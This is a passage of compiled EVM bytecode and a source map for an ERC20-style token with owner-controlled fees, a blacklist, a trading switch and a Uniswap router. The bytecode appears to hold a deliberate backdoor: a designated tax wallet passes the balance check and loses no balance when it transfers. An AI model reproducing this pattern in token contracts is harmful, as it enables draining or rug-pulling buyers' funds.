561035e57600080fd5b506040805180820190915260048152631350551560e21b6020820152610169565b34801561038b57600080fd5b5061025c610772565b3480156103a057600080fd5b5061019f6103af3660046116b5565b610ad0565b3480156103c057600080fd5b506101c4600e5481565b3480156103d657600080fd5b506101c46103e536600461183c565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561041c57600080fd5b506101c4600f5481565b6000610433338484610add565b5060015b92915050565b600061044b6012600a61196f565b61045990633b9aca0061197e565b905090565b600061046b848484610c01565b6104bd84336104b885604051806060016040528060288152602001611b20602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611234565b610add565b5060015b9392505050565b6007546001600160a01b0316336001600160a01b0316146104e857600080fd5b306000908152600160205260409020548015610507576105078161126e565b47801561051757610517816113ef565b5050565b6000546001600160a01b0316331461054e5760405162461bcd60e51b815260040161054590611995565b60405180910390fd5b60238211158015610560575060238111155b80156105755750601154600160a01b900460ff165b6105af5760405162461bcd60e51b815260206004820152600b60248201526a496e76616c69642066656560a81b6044820152606401610545565b600a91909155600b55565b6000546001600160a01b031633146105e45760405162461bcd60e51b815260040161054590611995565b60005b815181101561051757600160046000848481518110610608576106086119ca565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610644816119e0565b9150506105e7565b6000546001600160a01b031633146106765760405162461bcd60e51b815260040161054590611995565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106ea5760405162461bcd60e51b815260040161054590611995565b6106f66012600a61196f565b61070490633b9aca0061197e565b600c556107136012600a61196f565b61072190633b9aca0061197e565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107516012600a61196f565b61075f90633b9aca0061197e565b60405190815260200160405180910390a1565b6000546001600160a01b0316331461079c5760405162461bcd60e51b815260040161054590611995565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107e59030906107d76012600a61196f565b6104b890633b9aca0061197e565b601060009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610838573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085c91906119f9565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e291906119f9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561092f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095391906119f9565b601180546001600160a01b039283166001600160a01b03199091161790556010541663f305d719473061099b816001600160a01b031660009081526001602052604090205490565b6000806109b06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a18573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3d9190611a16565b505060115460105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aba9190611a44565b506011805460ff60a01b1916600160a01b179055565b6000610433338484610c01565b6001600160a01b038316610b3f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610545565b6001600160a01b038216610ba05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610545565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c655760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610545565b6001600160a01b038216610cc75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610545565b60008111610d295760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610545565b6007546001600160a01b0384811691161480610d5d57506001600160a01b0383166000908152600160205260409020548111155b610d9e5760405162461bcd60e51b8152602060048201526012602482015271115e18d959591cc81d1a1948185b5bdd5b9d60721b6044820152606401610545565b6001600160a01b03831660009081526003602052604081205460ff16158015610de057506001600160a01b03831660009081526003602052604090205460ff16155b15610e3e57601154600160a01b900460ff16610e3e5760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206f70656e656420796574000000000000006044820152606401610545565b6000546001600160a01b03858116911614801590610e6a57506000546001600160a01b03848116911614155b15611125576001600160a01b03841660009081526004602052604090205460ff16158015610eb157506001600160a01b03831660009081526004602052604090205460ff16155b610eba57600080fd5b6011546001600160a01b038581169116148015610ee557506010546001600160a01b03848116911614155b8015610f0a57506001600160a01b03831660009081526003602052604090205460ff16155b15610ffb57600c54821115610f5d5760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610545565b600d5482610f80856001600160a01b031660009081526001602052604090205490565b610f8a9190611a66565b1115610fd85760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610545565b610ff86064610ff2600a548561142990919063ffffffff16565b906114ab565b90505b6011546001600160a01b03848116911614801561103157506001600160a01b03841660009081526003602052604090205460ff16155b156110a157600c548211156110845760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610545565b61109e6064610ff2600b548561142990919063ffffffff16565b90505b601154600160a81b900460ff161580156110c857506011546001600160a01b038481169116145b80156110dd5750601154600160a01b900460ff165b80156110eb5750600e548210155b156111255730600090815260016020526040902054801561111a5761111a611115600f54836114ed565b61126e565b611123476113ef565b505b801561119f57306000908152600160205260409020546111459082611502565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111969085815260200190565b60405180910390a35b60006111ac858484611561565b6001600160a01b0385166000908152600160205260409020549091506111d29082611502565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61121c86866115cf565b60405190815260200160405180910390a35050505050565b600081848411156112585760405162461bcd60e51b8152600401610545919061163f565b5060006112658486611a79565b95945050505050565b6011805460ff60a81b1916600160a81b17905580156113df5760408051600280825260608201835260009260208301908036833701905050905030816000815181106112bc576112bc6119ca565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611315573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133991906119f9565b8160018151811061134c5761134c6119ca565b6001600160a01b0392831660209182029290920101526010546113729130911684610add565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ab908590600090869030904290600401611a8c565b600060405180830381600087803b1580156113c557600080fd5b505af11580156113d9573d6000803e3d6000fd5b50505050505b506011805460ff60a81b19169055565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610517573d6000803e3d6000fd5b60008260000361143b57506000610437565b6000611447838561197e565b9050826114548583611afd565b146104c15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610545565b60006104c183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611611565b60008183116114fc57826104c1565b50919050565b60008061150f8385611a66565b9050838110156104c15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610545565b6007546000906001600160a01b03908116908516036115815750816104c1565b6001600160a01b0384166000908152600160205260409020546115a490846115cf565b6001600160a01b0385166000908152600160205260409020556115c78284611a79565b949350505050565b60006104c183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611234565b600081836116325760405162461bcd60e51b8152600401610545919061163f565b5060006112658486611afd565b600060208083528351808285015260005b8181101561166c57858101830151858201604001528201611650565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116a257600080fd5b50565b80356116b08161168d565b919050565b600080604083850312156116c857600080fd5b82356116d38161168d565b946020939093013593505050565b6000806000606084860312156116f657600080fd5b83356117018161168d565b925060208401356117118161168d565b929592945050506040919091013590565b60006020828403121561173457600080fd5b81356104c18161168d565b6000806040838503121561175257600080fd5b50508035926020909101359150565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561178a57600080fd5b823567ffffffffffffffff808211156117a257600080fd5b818501915085601f8301126117b657600080fd5b8135818111156117c8576117c8611761565b8060051b604051601f19603f830116810181811085821117156117ed576117ed611761565b60405291825284820192508381018501918883111561180b57600080fd5b938501935b8285101561183057611821856116a5565b84529385019392850192611810565b98975050505050505050565b6000806040838503121561184f57600080fd5b823561185a8161168d565b9150602083013561186a8161168d565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156118c65781600019048211156118ac576118ac611875565b808516156118b957918102915b93841c9390800290611890565b509250929050565b6000826118dd57506001610437565b816118ea57506000610437565b8160018114611900576002811461190a57611926565b6001915050610437565b60ff84111561191b5761191b611875565b50506001821b610437565b5060208310610133831016604e8410600b8410161715611949575081810a610437565b611953838361188b565b806000190482111561196757611967611875565b029392505050565b60006104c160ff8416836118ce565b808202811582820484141761043757610437611875565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600182016119f2576119f2611875565b5060010190565b600060208284031215611a0b57600080fd5b81516104c18161168d565b600080600060608486031215611a2b57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a5657600080fd5b815180151581146104c157600080fd5b8082018082111561043757610437611875565b8181038181111561043757610437611875565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611adc5784516001600160a01b031683529383019391830191600101611ab7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611b1a57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e5af3a8274c892627561d023e038acd551d3fec318b4dc2bc6b9b8fe25d7b02e64736f6c63430008130033

Deployed Bytecode Sourcemap

3929:9317:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5821:83;;;;;;;;;;-1:-1:-1;5891:5:0;;;;;;;;;;;;-1:-1:-1;;;5891:5:0;;;;5821:83;;;;;;;:::i;:::-;;;;;;;;6727:193;;;;;;;;;;-1:-1:-1;6727:193:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;6727:193:0;1162:187:1;6098:95:0;;;;;;;;;;;;;:::i;:::-;;;1500:25:1;;;1488:2;1473:18;6098:95:0;1354:177:1;6928:446:0;;;;;;;;;;-1:-1:-1;6928:446:0;;;;;:::i;:::-;;:::i;6007:83::-;;;;;;;;;;-1:-1:-1;6007:83:0;;4614:2;2139:36:1;;2127:2;2112:18;6007:83:0;1997:184:1;11253:86:0;;;;;;;;;;-1:-1:-1;11253:86:0;;;;;:::i;:::-;-1:-1:-1;;;;;11324:7:0;11300:4;11324:7;;;:4;:7;;;;;;;;;11253:86;12870:373;;;;;;;;;;;;;:::i;:::-;;11527:305;;;;;;;;;;-1:-1:-1;11527:305:0;;;;;:::i;:::-;;:::i;11347:172::-;;;;;;;;;;-1:-1:-1;11347:172:0;;;;;:::i;:::-;;:::i;6201:119::-;;;;;;;;;;-1:-1:-1;6201:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6294:18:0;6267:7;6294:18;;;:9;:18;;;;;;;6201:119;2881:148;;;;;;;;;;;;;:::i;10976:162::-;;;;;;;;;;;;;:::i;4806:56::-;;;;;;;;;;;;;;;;2667:79;;;;;;;;;;-1:-1:-1;2705:7:0;2732:6;2667:79;;-1:-1:-1;;;;;2732:6:0;;;4095:51:1;;4083:2;4068:18;2667:79:0;3949:203:1;4869:58:0;;;;;;;;;;;;;;;;5912:87;;;;;;;;;;-1:-1:-1;5984:7:0;;;;;;;;;;;;-1:-1:-1;;;5984:7:0;;;;5912:87;;11840:780;;;;;;;;;;;;;:::i;6328:199::-;;;;;;;;;;-1:-1:-1;6328:199:0;;;;;:::i;:::-;;:::i;4934:56::-;;;;;;;;;;;;;;;;6535:184;;;;;;;;;;-1:-1:-1;6535:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;6684:18:0;;;6652:7;6684:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6535:184;4997:58;;;;;;;;;;;;;;;;6727:193;6829:4;6851:39;287:10;6874:7;6883:6;6851:8;:39::i;:::-;-1:-1:-1;6908:4:0;6727:193;;;;;:::o;6098:95::-;6151:7;4674:13;4614:2;4674;:13;:::i;:::-;4658:29;;:13;:29;:::i;:::-;6171:14;;6098:95;:::o;6928:446::-;7060:4;7077:36;7087:6;7095:9;7106:6;7077:9;:36::i;:::-;7124:220;7147:6;287:10;7195:138;7251:6;7195:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7195:19:0;;;;;;:11;:19;;;;;;;;287:10;7195:33;;;;;;;;;;:37;:138::i;:::-;7124:8;:220::i;:::-;-1:-1:-1;7362:4:0;6928:446;;;;;;:::o;12870:373::-;12936:17;;-1:-1:-1;;;;;12936:17:0;287:10;-1:-1:-1;;;;;12920:33:0;;12912:42;;;;;;13006:4;12965:20;6294:18;;;:9;:18;;;;;;13027:16;;13023:79;;13060:30;13077:12;13060:16;:30::i;:::-;13133:21;13169:14;;13165:71;;13200:24;13213:10;13200:12;:24::i;:::-;12901:342;;12870:373::o;11527:305::-;2794:6;;-1:-1:-1;;;;;2794:6:0;287:10;2794:22;2786:67;;;;-1:-1:-1;;;2786:67:0;;;;;;;:::i;:::-;;;;;;;;;11673:2:::1;11659:10;:16;;:37;;;;;11694:2;11679:11;:17;;11659:37;:52;;;;-1:-1:-1::0;11700:11:0::1;::::0;-1:-1:-1;;;11700:11:0;::::1;;;11659:52;11637:113;;;::::0;-1:-1:-1;;;11637:113:0;;6801:2:1;11637:113:0::1;::::0;::::1;6783:21:1::0;6840:2;6820:18;;;6813:30;-1:-1:-1;;;6859:18:1;;;6852:41;6910:18;;11637:113:0::1;6599:335:1::0;11637:113:0::1;11761:12;:25:::0;;;;11797:13:::1;:27:::0;11527:305::o;11347:172::-;2794:6;;-1:-1:-1;;;;;2794:6:0;287:10;2794:22;2786:67;;;;-1:-1:-1;;;2786:67:0;;;;;;;:::i;:::-;11426:9:::1;11421:91;11445:5;:12;11441:1;:16;11421:91;;;11496:4;11479;:14;11484:5;11490:1;11484:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;11479:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;11479:14:0;:21;;-1:-1:-1;;11479:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11459:3;::::1;::::0;::::1;:::i;:::-;;;;11421:91;;2881:148:::0;2794:6;;-1:-1:-1;;;;;2794:6:0;287:10;2794:22;2786:67;;;;-1:-1:-1;;;2786:67:0;;;;;;;:::i;:::-;2988:1:::1;2972:6:::0;;2951:40:::1;::::0;-1:-1:-1;;;;;2972:6:0;;::::1;::::0;2951:40:::1;::::0;2988:1;;2951:40:::1;3019:1;3002:19:::0;;-1:-1:-1;;;;;;3002:19:0::1;::::0;;2881:148::o;10976:162::-;2794:6;;-1:-1:-1;;;;;2794:6:0;287:10;2794:22;2786:67;;;;-1:-1:-1;;;2786:67:0;;;;;;;:::i;:::-;4674:13:::1;4614:2;4674;:13;:::i;:::-;4658:29;::::0;:13:::1;:29;:::i;:::-;11030:12;:22:::0;4674:13:::1;4614:2;4674;:13;:::i;:::-;4658:29;::::0;:13:::1;:29;:::i;:::-;11063:14;:24:::0;11103:27:::1;4674:13;4614:2;4674;:13;:::i;:::-;4658:29;::::0;:13:::1;:29;:::i;:::-;11103:27;::::0;1500:25:1;;;1488:2;1473:18;11103:27:0::1;;;;;;;10976:162::o:0;11840:780::-;2794:6;;-1:-1:-1;;;;;2794:6:0;287:10;2794:22;2786:67;;;;-1:-1:-1;;;2786:67:0;;;;;;;:::i;:::-;11892:15:::1;:104:::0;;-1:-1:-1;;;;;;11892:104:0::1;11943:42;11892:104:::0;;::::1;::::0;;;12009:58:::1;::::0;12026:4:::1;::::0;4674:13:::1;4614:2;4674;:13;:::i;:::-;4658:29;::::0;:13:::1;:29;:::i;12009:58::-;12112:15;;;;;;;;;-1:-1:-1::0;;;;;12112:15:0::1;-1:-1:-1::0;;;;;12112:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12094:55:0::1;;12172:4;12192:15;;;;;;;;;-1:-1:-1::0;;;;;12192:15:0::1;-1:-1:-1::0;;;;;12192:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12094:131;::::0;-1:-1:-1;;;;;;12094:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7697:15:1;;;12094:131:0::1;::::0;::::1;7679:34:1::0;7749:15;;7729:18;;;7722:43;7614:18;;12094:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12078:13;:147:::0;;-1:-1:-1;;;;;12078:147:0;;::::1;-1:-1:-1::0;;;;;;12078:147:0;;::::1;;::::0;;12236:15:::1;::::0;::::1;:31;12275:21;12320:4;12340:24;12320:4:::0;-1:-1:-1;;;;;6294:18:0;6267:7;6294:18;;;:9;:18;;;;;;;6201:119;12340:24:::1;12379:1;12395::::0;12411:7:::1;2705::::0;2732:6;-1:-1:-1;;;;;2732:6:0;;2667:79;12411:7:::1;12236:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12236:223:0;;;-1:-1:-1;;;;;8135:15:1;;;12236:223:0::1;::::0;::::1;8117:34:1::0;8167:18;;;8160:34;;;;8210:18;;;8203:34;;;;8253:18;;;8246:34;8317:15;;;8296:19;;;8289:44;12433:15:0::1;8349:19:1::0;;;8342:35;8051:19;;12236:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12477:13:0::1;::::0;12522:15:::1;::::0;12470:111:::1;::::0;-1:-1:-1;;;12470:111:0;;-1:-1:-1;;;;;12522:15:0;;::::1;12470:111;::::0;::::1;8873:51:1::0;-1:-1:-1;;8940:18:1;;;8933:34;12477:13:0;::::1;::::0;-1:-1:-1;12470:29:0::1;::::0;8846:18:1;;12470:111:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12594:11:0::1;:18:::0;;-1:-1:-1;;;;12594:18:0::1;-1:-1:-1::0;;;12594:18:0::1;::::0;;11840:780::o;6328:199::-;6433:4;6455:42;287:10;6479:9;6490:6;6455:9;:42::i;7382:369::-;-1:-1:-1;;;;;7509:19:0;;7501:68;;;;-1:-1:-1;;;7501:68:0;;9462:2:1;7501:68:0;;;9444:21:1;9501:2;9481:18;;;9474:30;9540:34;9520:18;;;9513:62;-1:-1:-1;;;9591:18:1;;;9584:34;9635:19;;7501:68:0;9260:400:1;7501:68:0;-1:-1:-1;;;;;7588:21:0;;7580:68;;;;-1:-1:-1;;;7580:68:0;;9867:2:1;7580:68:0;;;9849:21:1;9906:2;9886:18;;;9879:30;9945:34;9925:18;;;9918:62;-1:-1:-1;;;9996:18:1;;;9989:32;10038:19;;7580:68:0;9665:398:1;7580:68:0;-1:-1:-1;;;;;7659:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7711:32;;1500:25:1;;;7711:32:0;;1473:18:1;7711:32:0;;;;;;;7382:369;;;:::o;7759:2287::-;-1:-1:-1;;;;;7881:17:0;;7873:67;;;;-1:-1:-1;;;7873:67:0;;10270:2:1;7873:67:0;;;10252:21:1;10309:2;10289:18;;;10282:30;10348:34;10328:18;;;10321:62;-1:-1:-1;;;10399:18:1;;;10392:35;10444:19;;7873:67:0;10068:401:1;7873:67:0;-1:-1:-1;;;;;7959:17:0;;7951:65;;;;-1:-1:-1;;;7951:65:0;;10676:2:1;7951:65:0;;;10658:21:1;10715:2;10695:18;;;10688:30;10754:34;10734:18;;;10727:62;-1:-1:-1;;;10805:18:1;;;10798:33;10848:19;;7951:65:0;10474:399:1;7951:65:0;8044:1;8035:6;:10;8027:64;;;;-1:-1:-1;;;8027:64:0;;11080:2:1;8027:64:0;;;11062:21:1;11119:2;11099:18;;;11092:30;11158:34;11138:18;;;11131:62;-1:-1:-1;;;11209:18:1;;;11202:39;11258:19;;8027:64:0;10878:405:1;8027:64:0;8132:17;;-1:-1:-1;;;;;8125:24:0;;;8132:17;;8125:24;;:52;;-1:-1:-1;;;;;;8153:14:0;;;;;;:9;:14;;;;;;:24;-1:-1:-1;8153:24:0;8125:52;8102:122;;;;-1:-1:-1;;;8102:122:0;;11490:2:1;8102:122:0;;;11472:21:1;11529:2;11509:18;;;11502:30;-1:-1:-1;;;11548:18:1;;;11541:48;11606:18;;8102:122:0;11288:342:1;8102:122:0;-1:-1:-1;;;;;8274:23:0;;8237:17;8274:23;;;:18;:23;;;;;;;;8273:24;:52;;;;-1:-1:-1;;;;;;8302:23:0;;;;;;:18;:23;;;;;;;;8301:24;8273:52;8269:120;;;8348:11;;-1:-1:-1;;;8348:11:0;;;;8340:49;;;;-1:-1:-1;;;8340:49:0;;11837:2:1;8340:49:0;;;11819:21:1;11876:2;11856:18;;;11849:30;11915:27;11895:18;;;11888:55;11960:18;;8340:49:0;11635:349:1;8340:49:0;2705:7;2732:6;-1:-1:-1;;;;;8404:14:0;;;2732:6;;8404:14;;;;:32;;-1:-1:-1;2705:7:0;2732:6;-1:-1:-1;;;;;8422:14:0;;;2732:6;;8422:14;;8404:32;8400:1292;;;-1:-1:-1;;;;;8462:9:0;;;;;;:4;:9;;;;;;;;8461:10;:24;;;;-1:-1:-1;;;;;;8476:9:0;;;;;;:4;:9;;;;;;;;8475:10;8461:24;8453:33;;;;;;8530:13;;-1:-1:-1;;;;;8523:20:0;;;8530:13;;8523:20;:72;;;;-1:-1:-1;8579:15:0;;-1:-1:-1;;;;;8564:31:0;;;8579:15;;8564:31;;8523:72;:117;;;;-1:-1:-1;;;;;;8617:23:0;;;;;;:18;:23;;;;;;;;8616:24;8523:117;8501:474;;;8693:12;;8683:6;:22;;8675:60;;;;-1:-1:-1;;;8675:60:0;;12191:2:1;8675:60:0;;;12173:21:1;12230:2;12210:18;;;12203:30;-1:-1:-1;;;12249:18:1;;;12242:55;12314:18;;8675:60:0;11989:349:1;8675:60:0;8811:14;;8801:6;8784:14;8794:3;-1:-1:-1;;;;;6294:18:0;6267:7;6294:18;;;:9;:18;;;;;;;6201:119;8784:14;:23;;;;:::i;:::-;:41;;8754:141;;;;-1:-1:-1;;;8754:141:0;;12675:2:1;8754:141:0;;;12657:21:1;12714:2;12694:18;;;12687:30;12753:28;12733:18;;;12726:56;12799:18;;8754:141:0;12473:350:1;8754:141:0;8926:33;8955:3;8926:24;8937:12;;8926:6;:10;;:24;;;;:::i;:::-;:28;;:33::i;:::-;8914:45;;8501:474;9002:13;;-1:-1:-1;;;;;8995:20:0;;;9002:13;;8995:20;:48;;;;-1:-1:-1;;;;;;9020:23:0;;;;;;:18;:23;;;;;;;;9019:24;8995:48;8991:214;;;9082:12;;9072:6;:22;;9064:60;;;;-1:-1:-1;;;9064:60:0;;12191:2:1;9064:60:0;;;12173:21:1;12230:2;12210:18;;;12203:30;-1:-1:-1;;;12249:18:1;;;12242:55;12314:18;;9064:60:0;11989:349:1;9064:60:0;9155:34;9185:3;9155:25;9166:13;;9155:6;:10;;:25;;;;:::i;:34::-;9143:46;;8991:214;9244:6;;-1:-1:-1;;;9244:6:0;;;;9243:7;:48;;;;-1:-1:-1;9278:13:0;;-1:-1:-1;;;;;9271:20:0;;;9278:13;;9271:20;9243:48;:80;;;;-1:-1:-1;9312:11:0;;-1:-1:-1;;;9312:11:0;;;;9243:80;:128;;;;;9354:17;;9344:6;:27;;9243:128;9221:460;;;9455:4;9406:28;6294:18;;;:9;:18;;;;;;9484:24;;9480:132;;9533:59;9550:41;9554:14;;9570:20;9550:3;:41::i;:::-;9533:16;:59::i;:::-;9630:35;9643:21;9630:12;:35::i;:::-;9387:294;9221:460;9708:13;;9704:171;;9783:4;9765:24;;;;:9;:24;;;;;;:39;;9794:9;9765:28;:39::i;:::-;9756:4;9738:24;;;;:9;:24;;;;;;;:66;;;;9824:39;;-1:-1:-1;;;;;9824:39:0;;;;;;;9853:9;1500:25:1;;1488:2;1473:18;;1354:177;9824:39:0;;;;;;;;9704:171;9885:11;9899:31;9907:3;9912:6;9920:9;9899:7;:31::i;:::-;-1:-1:-1;;;;;9958:14:0;;;;;;:9;:14;;;;;;9885:45;;-1:-1:-1;9958:23:0;;9885:45;9958:18;:23::i;:::-;-1:-1:-1;;;;;9941:14:0;;;;;;;:9;:14;;;;;:40;;;;9997:41;;;10016:21;:6;10027:9;10016:10;:21::i;:::-;9997:41;;1500:25:1;;;1488:2;1473:18;9997:41:0;;;;;;;7862:2184;;7759:2287;;;:::o;1469:224::-;1589:7;1625:12;1617:6;;;;1609:29;;;;-1:-1:-1;;;1609:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1649:9:0;1661:5;1665:1;1661;:5;:::i;:::-;1649:17;1469:224;-1:-1:-1;;;;;1469:224:0:o;10420:548::-;5303:6;:13;;-1:-1:-1;;;;5303:13:0;-1:-1:-1;;;5303:13:0;;;10498:55;;10535:7:::1;10498:55;10587:16;::::0;;10601:1:::1;10587:16:::0;;;;;::::1;::::0;;10563:21:::1;::::0;10587:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10587:16:0::1;10563:40;;10632:4;10614;10619:1;10614:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10614:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10658:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10658:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10614:7;;10658:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10648:4;10653:1;10648:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10648:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10723:15:::1;::::0;10691:62:::1;::::0;10708:4:::1;::::0;10723:15:::1;10741:11:::0;10691:8:::1;:62::i;:::-;10764:15;::::0;:196:::1;::::0;-1:-1:-1;;;10764:196:0;;-1:-1:-1;;;;;10764:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10845:11;;10764:15:::1;::::0;10887:4;;10914::::1;::::0;10934:15:::1;::::0;10764:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10487:481;5327:1;-1:-1:-1::0;5339:6:0;:14;;-1:-1:-1;;;;5339:14:0;;;10420:548::o;11146:99::-;11203:17;;:34;;-1:-1:-1;;;;;11203:17:0;;;;:34;;;;;11230:6;;11203:17;:34;:17;:34;11230:6;11203:17;:34;;;;;;;;;;;;;;;;;;;1701:246;1759:7;1783:1;1788;1783:6;1779:47;;-1:-1:-1;1813:1:0;1806:8;;1779:47;1836:9;1848:5;1852:1;1848;:5;:::i;:::-;1836:17;-1:-1:-1;1881:1:0;1872:5;1876:1;1836:17;1872:5;:::i;:::-;:10;1864:56;;;;-1:-1:-1;;;1864:56:0;;14370:2:1;1864:56:0;;;14352:21:1;14409:2;14389:18;;;14382:30;14448:34;14428:18;;;14421:62;-1:-1:-1;;;14499:18:1;;;14492:31;14540:19;;1864:56:0;14168:397:1;1955:132:0;2013:7;2040:39;2044:1;2047;2040:39;;;;;;;;;;;;;;;;;:3;:39::i;10305:107::-;10362:7;10394:1;10390;:5;10389:15;;10403:1;10389:15;;;-1:-1:-1;10399:1:0;10305:107;-1:-1:-1;10305:107:0:o;1138:179::-;1196:7;;1228:5;1232:1;1228;:5;:::i;:::-;1216:17;;1257:1;1252;:6;;1244:46;;;;-1:-1:-1;;;1244:46:0;;14772:2:1;1244:46:0;;;14754:21:1;14811:2;14791:18;;;14784:30;14850:29;14830:18;;;14823:57;14897:18;;1244:46:0;14570:351:1;10054:243:0;10165:17;;10135:7;;-1:-1:-1;;;;;10165:17:0;;;10158:24;;;;10155:42;;-1:-1:-1;10191:6:0;10184:13;;10155:42;-1:-1:-1;;;;;10227:14:0;;;;;;:9;:14;;;;;;:26;;10246:6;